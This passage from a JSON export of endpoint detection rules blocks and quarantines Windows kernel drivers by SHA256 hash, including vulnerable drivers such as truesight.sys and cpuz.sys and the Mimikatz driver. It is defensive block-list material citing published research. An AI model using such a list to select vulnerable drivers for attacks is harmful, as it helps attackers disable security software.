+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817286Z",
+  "creation_date": "2026-03-23T11:45:31.817288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a71e7ecde0a642339d61eebea2adecb3ccdcab0249b739831556e6e95661c7ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "201aa671-0ada-52a8-a1ef-ebebfac173ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497671Z",
+  "creation_date": "2026-03-23T11:45:31.497673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b36758b96ce1afd3328aec3f4e5808cc2b47d80894032ffa7de14c4767f1f39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "201b1d5b-01b2-51e9-9798-12be5c18f4bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475571Z",
+  "creation_date": "2026-03-23T11:45:31.475574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "acca6bbdabb64fdba72f37038a2d342859e56f55f493bbce5097ccd7093d9312",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "201daf13-5e98-58ba-875f-4a59394ebb27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822854Z",
+  "creation_date": "2026-03-23T11:45:30.822856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e24c45ce2672ee403db34077c88e8b7d7797d113c6fd161906dce3784da627d",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2033770c-1838-5069-a2bf-159d9044391d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817382Z",
+  "creation_date": "2026-03-23T11:45:30.817384Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffd548833a96c2c5f8410b22fc110d10b36a47eb0b16b3d2e7edb82c3cabf97b",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20364d36-bfec-587d-ba39-2952d2eda0e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985430Z",
+  "creation_date": "2026-03-23T11:45:29.985432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04cfb452e1ac73fb2f3b8a80d9f27e19a344a6bf0f74c7f9cae3ae82d3770195",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "204bc6a4-1e59-5593-8126-1f496a4edc33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826514Z",
+  "creation_date": "2026-03-23T11:45:30.826516Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826522Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95542b32e0881e08e87fd38310f598cacfb37f7fc57b8d7d919a6707b175dbd2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "204bec7c-e9d7-571d-aeaa-be990f5d6941",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159868Z",
+  "creation_date": "2026-03-23T11:45:31.159884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159889Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64c27a36524d1967e9ba2515976823e4471583225676b61ee8b3c87cfa4138e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20521ede-ccba-5518-8d92-76a7e12e8a09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156980Z",
+  "creation_date": "2026-03-23T11:45:31.156982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fc0c630eb1778687bc1eb56a4b735b1ad39f21b607e5e15544191b8ef8b5fa4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "205c3118-5668-5a16-a634-3d557bb910e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970677Z",
+  "creation_date": "2026-03-23T11:45:29.970680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970687Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da5135871e9e0004bb60d0be31f8d96988f9b82025abccadfd87c937df22686b",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2064be61-c105-5f1b-a7be-76852e4c4653",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616095Z",
+  "creation_date": "2026-03-23T11:45:29.616097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8797d9afc7a6bb0933f100a8acbb5d0666ec691779d522ac66c66817155b1c0d",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2070dbe7-d41a-5595-80c3-2e31c5675829",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481785Z",
+  "creation_date": "2026-03-23T11:45:30.481787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df96d844b967d404e58a12fc57487abc24cd3bd1f8417acfe1ce1ee4a0b0b858",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "207e873f-2466-5b0c-ab29-636013f5cc7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145187Z",
+  "creation_date": "2026-03-23T11:45:32.145189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "981d03e19f14de0ccffef8fa974797d9cdfef6dafc7349d9bbf27434dc16dede",
+  "comment": "Malicious Kernel Driver (aka driver_981d03e1.sys) [https://www.loldrivers.io/drivers/1106fe7a-b78b-4edf-85c0-6208979f380b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "208270f5-4aef-5e1b-ad33-ff9421905b42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830598Z",
+  "creation_date": "2026-03-23T11:45:30.830600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830605Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9d76e1257b1cfdb8028809f1cf5da0bcbb33d07deedc7e95c5953dd3f195e1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2083c1bb-1f44-55f1-9dc0-665e87b26e90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810681Z",
+  "creation_date": "2026-03-23T11:45:31.810683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810688Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54467b895627b5b6abb457ba20fe497244d152cae3881a35ea30231f09dde0a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2097b4cf-7433-575b-8d0f-abbc04f187b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143024Z",
+  "creation_date": "2026-03-23T11:45:32.143026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ede9a3858a12d5ddea21a310e5721bf86c2248539f42c9e0c3c29ae5b0148ba5",
+  "comment": "Vulnerable Kernel Driver (aka msr.sys) [https://www.loldrivers.io/drivers/ee6fa2de-d388-416c-862d-24385c152fad/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "209f285a-1d37-5d25-af91-0eb03e16efd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474445Z",
+  "creation_date": "2026-03-23T11:45:30.474448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474457Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2145851bdcbf8419f09fd7470422dd56be1b415b15f39f0632bdd797cf500b36",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20a147ce-5f18-5f72-9002-144eecb11455",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151887Z",
+  "creation_date": "2026-03-23T11:45:31.151891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151900Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f8b32786de3bf22e92144ed115b6800e03568944fe95699b9002db04e13a20a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20a20d07-6896-5ce7-8679-08757e3f90ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971390Z",
+  "creation_date": "2026-03-23T11:45:29.971394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20a23836-f4df-5dda-88dd-5fb75db9bbdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485038Z",
+  "creation_date": "2026-03-23T11:45:31.485042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73fcab1ad989ed08cf3c054a29b474fe5a39b1fb145ca34decd553433bff8210",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20b6dda7-f766-5a2f-b985-444b9ea6f6ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494023Z",
+  "creation_date": "2026-03-23T11:45:31.494026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494036Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aee1f887d981f49b4b6e0d60c195b6a96da3f1ff005ad78c11c4ab35ae9f983f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20b8dffb-7297-5156-91a6-849a46ea10d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615186Z",
+  "creation_date": "2026-03-23T11:45:29.615188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b08a501124d13262c86889617071743521aeefc2d77f678d541aa8dbad52992",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20be698d-bd18-5449-a0c4-73da695ab941",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979675Z",
+  "creation_date": "2026-03-23T11:45:29.979677Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
